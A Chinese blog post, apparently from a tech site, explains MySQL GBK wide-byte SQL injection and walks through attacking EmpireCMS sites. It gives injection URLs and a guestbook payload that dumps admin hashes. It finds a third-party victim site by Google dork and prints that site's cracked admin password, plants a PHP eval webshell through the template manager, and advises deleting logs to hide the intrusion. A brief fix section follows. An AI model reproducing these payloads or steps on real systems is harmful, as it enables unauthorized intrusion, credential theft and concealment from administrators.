MYSQL宽字节注入漏洞详解

一、热身

在 介绍这个漏洞之前,有必要先明白一个概念——宽字节注入。宽字节注入是相对于单字节注入而言的。单字节注入就是大家平时的直接在带有参数ID的URL后面 追回SQL语句进行注入。比如:http://www.hackest.cn/article.php?id=1 and 1=1/*
http://www.hackest.cn/article.php?id=1 and 1=2/*
这个经典的判断目标是否存在注入的例子就是单字节注入。

大 家都知道PHP在开启magic_quotes_gpc或者使用addslashes、iconv等函数的时候,单引号(')会被转义成\'。比如字 符%bf在满足上述条件的情况下会变成%bf\'。其中反斜杠(\)的十六进制编码是%5C,单引号(')的十六进制编码是%27,那么就可以得出%bf \'=%bf%5c%27。如果程序的默认字符集是GBK等宽字节字符集,则MySQL会认为%bf%5c是一个宽字符,也就是“縗”。也就是说%bf \'=%bf%5c%27=縗'。%bf并不是唯一的一个字符,应该是%81-%FE之间的任意一个都可以。不太好理解,我们用小葵写的一个字符转换的小 工具来转换一下,如图1。




说 到这里好像还没有看出来到底有什么用。了解PHP+MySQL注入的朋友应该都明白,单引号在注入里绝对是个好东西。尤其是,很多程序员都过分依赖于 magic_quotes_gpc或者addslashes、iconv等函数的转义。理论上说,只要数据库连接代码设置了GBK编码,或者是默认编码就 是GBK,那现在的程序里到处都是注入漏洞。事实上,这种变换在XSS等领域也发挥了巨大的作用,在PHP+Linux后台程序结合的时候,还可能造成命 令注入,也就是说能可以在注入点直接执行Linux系统命令。比如登录文件login.php的代码如下:

<?php
$conn=mysql_connect("localhost","root","hackest");
mysql_query("SET NAMES 'GBK'");
mysql_select_db("test",$conn);
$user=mysql_escape_string($_GET['user']);
$pass=mysql_escape_string($_GET['pass']);
$sql="select * from cms_user where username='$user' and password='$pass'";
$result=mysql_query($sql,$conn);
while ($row=mysql_fetch_array($result, MYSQL_ASSOC)) {
$rows[]=$row;
}
?>

则可以通过构造以下语句进行注入:
http://www.hackest.cn/login.php?user=%df'%20or%201=1%20limit%201,1%23&pass=
%20是空格的URL编码,%23是#的URL编码,Mysql注释符之一。对应的SQL语句是:
select * from cms_user where username='運'or 1=1 limit 1,1#' and password="

---------------------------------------------------------------------------------------
以上内容摘自网络,经过分析整理后用以说明问题,来源不详,感谢前辈们。^-^
---------------------------------------------------------------------------------------

二、实践

理论准备得差不多了,该来点实际的了,这次就拿帝国CMS做例子吧。帝国CMS是号称最安全、最稳定的开源CMS(内容管理系统)。帝国CMS的留言本文件部分代码如下:

//权限
if($gbr['groupid'])
{
include("../../class/user.php");
$user=islogin();
include("../../class/MemberLevel.php");
if($level_r[$gbr[groupid]][level]>$level_r[$user[groupid]][level])
{
echo"<script>alert('您的会员级别不足(".$level_r[$gbr[groupid]][groupname]."),没有权限提交信息!');history.go(-1);</script>";
exit();
}
}
esetcookie("gbookbid",$bid,0);
$bname=$gbr['bname'];
$search="&bid=$bid";
$page=(int)$_GET['page'];
$start=(int)$_GET['start'];
$line=12;//每页显示条数
$page_line=12;//每页显示链接数
$offset=$start+$page*$line;//总偏移量
$totalnum=(int)$_GET['totalnum'];
if($totalnum)
{
$num=$totalnum;
}
else
{
$totalquery="select count(*) as total from {$dbtbpre}enewsgbook where bid='$bid' and checked=0";
$num=$empire->gettotal($totalquery);//取得总条数
}
$search.="&totalnum=$num";
$query="select lyid,name,email,`call`,lytime,lytext,retext from {$dbtbpre}enewsgbook where bid='$bid' and checked=0";//hackest注解:关键是这一句,与上面举例的何其相似啊!
$query=$query." order by lyid desc limit $offset,$line";
$sql=$empire->query($query);
$listpage=page1($num,$line,$page_line,$start,$page,$search);
$url="<a href=../../../>".$fun_r['index']."</a> > ".$fun_r['saygbook'];
?>
注 意注释部分!就直接拿官方测试吧,我就不本机折腾了。官方演示站点:http://demo.phome.net/,还别说,界面倒是蛮清爽的,难怪这么 多站长用咯。直奔留言本页面:http://demo.phome.net/e/tool/gbook/?bid=1,注意要带上bid=1(我下载了套 最新版的帝国CMS,e/tool/gbook目录下就一个index.php文件,直接访问它会有错误提示,并跳转至前一个页面)。然后下拉至“请您留 言:”处,按如下要求填写相关信息:
姓名:123縗\
联系邮箱:,1,1,1,(select concat(username,0x5f,password,0x5f,rnd) from phome_enewsuser where userid=1),1,1,1,0,0,0)/*
联系电话:随便写
留言内容:随便写

填好后如图2



提交后就能看到爆出来的用户名、密码MD5、还有rnd值了,如图3。



wm_chief就是开发帝国CMS的程序员。因为提交了好几遍,在后台又删不掉,所以有多条记录。破解出来密码明文就可以登录后台了,不过官方演示站点后台并没有数据库操作权限,凡是涉及到数据库的操作就会提示:

在线演示仅开放观看权限,与数据库相关操作已被管理员禁止!
如果您的浏览器没有自动跳转,请点击这里

而 且这个MD5是在线查询查不出来的,明文是用MD5的彩虹表破解出来的,后面会附图。这个后台就是只能让你看看,顺便体验一下其强大的功能(官方也提供的 演示管理员用户名和密码均为admin,也可以登录,不过都是操作不了的),拿这个密码去社工一下管理员,也没有什么意外的收获,其博客、论坛、邮箱、官 方站点FTP、官方站点3389等均无法进入,所以官方是搞不到Webshell了。
三、替补

官方进不去就找个替罪羊吧,Google以关键字“inurl:e/tool/gbook/?bid=1”搜索,搜出来的站点99%都是用帝国CMS的。随便找了一个,测试证明,漏洞存在,如图4。



可恨的是这个MD5值也是无法在线查询出来的,又得开动彩虹表跑跑咯,把刚才官方的那个MD5也一起跑了吧,出去吃完饭回来,结果就出来了,如图5。



顺 便啰嗦一下,如果有志于网络安全事业的发展,彩虹表还是必不可少的。什么是彩虹表呢?就是一个庞大的、针对各种可能的字母组合预先计算好的哈希值的集合, 不一定是针对MD5算法的,各种算法的都有,有了它可以快速的破解各类密码。越是复杂的密码,需要的彩虹表就越大,现在主流的彩虹表都是100G以上。

该进后台了,后台地址默认为e/admin/。用户名:joycar,密码:zuxywz119,顺便进入后台,如图6。



进 了后台应该怎么样才能拿到Webshell呢?添加上传后缀,我试了下,不可行。网上搜了一下相关资料,原来在模板管理那里有猫腻哦。进入后台-> 模板管理->自定义页面->增加自定义页面。页面名称随便填,文件名也得取一个,文件名处可以填指定路径,分类不必理会,页面内容处写入如下 代码:

<\?php eval($_POST[cmd]);?\>

一般的PHP一句话马的代码 是<?php eval($_POST[cmd]);?>,其中cmd是密码。但是这里一定要按上面要求的前后都要加上\,不加的话就不会成功,非常重要,务必记 住!然后点击提交,再返回到管理自定义页面,点击刚才起的页面名称,直接跳转至e/admin/template/hackest.php,无法找到该 页,路径不对嘛,当然找不到了,改成e/admin/hackest.php,再访问,一片空白,心中窃喜,有戏了……如图7、图8。





再用lanker微型PHP+ASP管理器1.0双用版连接一句话,提交下环境变量看看,如图9。



再上传一个PHP大马就大功告成了,是Linux系统的,发行版是Red Hat Enterprise Linux AS release 4,有溢出保护,提不了权咯,如图10。



最 后千万记得把刚才爆用户名和密码的那条留言删除,再把你添加的自定义页面也删除,后台日志也处理下。好多人都不知道什么叫清理日志,其实就是尽可能地把关 于你的操作的相关记录删除。比如你登录了3389,系统日志会记录,比如你登录了FTP,应用程序日志也会记录,比如你对这个网站做了注入攻击,IIS或 者其他WEB应用程序也会记录……技术过硬的管理员能从这些日志里分析出你的攻击方法,攻击来源等细节,安全工作一定要做足,万万马虎不得。

四、修补

官方虽然也被爆了一段时间了,但是似乎并没有引起足够的重视,截止至发稿日仍然没看到官方有任何关于修补此漏洞的解决方案(其实也不能完全算是帝国CMS的错,编码这个问题最近闹得比较凶-_-)。

解 决方法:就是在初始化连接和字符集之后,使用SET character_set_client=binary来设定客户端的字符集是二进制的。修改Windows下的MySQL配置文件一般是 my.ini,Linux下的MySQL配置文件一般是my.cnf,比如:mysql_query("SET character_set_client=binary");。character_set_client指定的是SQL语句的编码,如果设置为 binary,MySQL就以二进制来执行,这样宽字节编码问题就没有用武之地了。
  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值